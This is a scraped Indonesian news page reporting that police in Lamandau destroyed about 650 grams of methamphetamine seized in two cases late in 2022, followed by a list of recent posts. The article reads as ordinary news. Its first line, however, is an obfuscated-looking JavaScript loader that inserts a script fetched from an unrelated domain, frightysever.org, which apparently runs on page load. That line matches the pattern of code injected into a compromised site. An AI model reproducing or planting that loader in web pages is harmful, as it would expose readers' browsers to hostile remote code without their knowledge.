(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Lamandau

650 Gram Sabu dari Dua Kasus Pengungkapan Dimusnahkan Polres Lamandau


KANALKALIMANTAN.COM, NANGA BULIK – Jajaran Satresnarkoba Polres Lamandau memusnahkan barang bukti narkoba jenis sabu, Selasa (24/1/2023) siang.

Pemusnahan barang haram berlangsung di Joglo Mapolres Lamandau dipimpin langsung Kapolres Lamandau AKBP Bronto Budiyono SIK bersama Wakapolres Kompol Novalina Tarihoran, Ketua Pengadilan Negeri Nanga Bulik, Kasi Pidum Kejaksaan Negeri Lamandau, Kepala Kesbangpol Linmas dan Dinas Kesehatan Kabupaten Lamandau.

Kapolres Lamandau mengatakan, di akhir tahun 2022 pihaknya telah mengungkap dua perkara Nakoba jenis sabu seberat 650 gram. Dua tersangka GA (42) dan TS (40) ditangkap bersama barang bukti 186,84 gram. Kemudian kasus lainnya menyeret MS (47) dan HL (40) dengan barang bukti 466,71 gram sabu.

Barang bukti dimusnahan berdasarkan penetapan Kejaksaan Negeri Lamandau dengan disaksikan instansi terkait dihadapan empat tersangka.

 

Baca juga  : Antisipasi Macet Haul ke-18 Sekumpul Roda 6 Lebih Dilarang Melintas 26-31 Januari

“Sebelum pelaksanaan pemusnahan kita uji terhadap barang bukti tersebut, sehingga kita akan sama-sama mengetahui barang bukti yang dimusnahkan asli. Ini sebagai bentuk tranparansi yang kami lakukan,” ungkap Kapolres.

Pengungkapan kasus Narkoba jajaran Polres Lamandau mencegah peredaran gelap narkoba dan menyelamatkan jiwa masyarakat.

Pengujian barang bukti Narkoba dilakukan Dinas Kesehatan dengan cara memasukkan sebagian butiran kristal ke dalam alat teskit. Cairan yang berada di dalam teskit berubah warna menjadi ungu menandakan butiran kristal yang diuji tersebut positif mengandung amfetamin.

“Pemusnahan barang bukti sabu dimasukkan ke dalam panci berisi air mendidih yang dicampur pembersih lantai, kemudian barang bukti tersebut dimasukkan ke dalam septic tank diawasi ketat oleh Propam Polres Lamandau,” terang Kapolres.
(Kanalkalimantan.com/habibullah)

Reporter : habibullah
Editor : kk


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.